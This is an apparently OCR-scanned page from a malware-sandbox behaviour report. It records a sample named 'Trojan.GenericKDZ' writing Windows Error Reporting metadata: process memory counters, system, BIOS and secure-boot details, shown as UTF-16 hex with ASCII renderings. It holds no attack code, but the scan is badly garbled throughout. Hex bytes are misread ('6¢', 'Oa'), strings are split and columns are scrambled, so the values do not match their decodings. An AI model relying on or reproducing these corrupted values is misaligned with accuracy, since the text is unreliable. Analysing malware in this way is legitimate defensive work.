
success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<.W.o.rk..n.g.S.e.t.S.i.z.e. success or wait

>.1.0.6.6.0.6.5.9.2.
<./.W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.l.U.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.a.k.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 34 00 31 00 31 00
34 00 34 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 32 00 30 00 31 00
36 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 0061 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 3500 32
00 39 00 3500 32 00
3300 32 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
lUs.a.g.e>9.4.1.1.44.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0..U.s.a.g.e.>.7.2.0.1.6.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.> success or wait
3.5.2.9.5.2.3.2.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.P.rivate.U.s.ag.e.>3. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00760061 007400 5.2.9.5.23.2.</P.r.iv.a.it.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 003500320039
00 3500 32 00 33 00
32 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.ro.c.e.s.s.l.nfo.rm. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P..o.c.e.s.s.l.nfo.rm. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.l.e.m.S.i.g.n.a.t.u. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c 004500760065 <.E.v.e.ntT.y.p.e>AP.P. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 006e 0074005400 C.R.AS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.f.o...c.om..T.

74006500720030 r.0j.a.n..G.e.n.e.r.icKD.
003e 0053006500 Z..7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e.</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
310032 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
74 00 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./.P.rob.lem.sS.g.n.at success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.am.i.c.S.i.g.n.a.t.u. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.<./P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 005300790073
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053 0079 00 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
<./.D.y.n.a.m.i.c.S.i.g.n.a.t. success or wait 1 701B497A unknown
u.r.e.s.>.
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
<.S.y.s.te.m.l.n.f.o.rm.a.t. success or wait 1 701B497A unknown
i.o.n.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.M.l.D.>.A.2.A.B.5.2.6.A.- success or wait 1 701B497A unknown
.D.3.8.D.-4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.l.D.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait 1 701B497A unknown
.urer>w.iulo.i.,. .ln.c..

<./.S.y.s.t.e.m.M.a.n.u.f.
ac.ture.r>.

success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.S.y.s.t.e.m.P.r.o.d.u.c.t.N success or wait 1 701B497A unknown

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

success or wait 1 701B497A unknown

success or wait 2 701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.e.r.s.i.o.n.>.V. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate> success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.n.s.tallT.im.e>. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4...4.

6100 6¢c 006¢c0054 9..2.1.Z</0.S.l.ns.ta.l
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢C

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.as.> success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. T..m.e.Z.o.n.e.B.
0061 0073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./S.y.s.tem.lnfo.rm.a. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00730074006500 t.i.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021 Page 216 of 245



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

46

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 33 00 3a 00 30
00 38 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

ER=N

<.U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.cur.e.B.o.ot.Sta.

te>.

<.l.nte.g.r.ato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</lnte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

2o 02228 AL E 0.8,

0.8.2.".>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
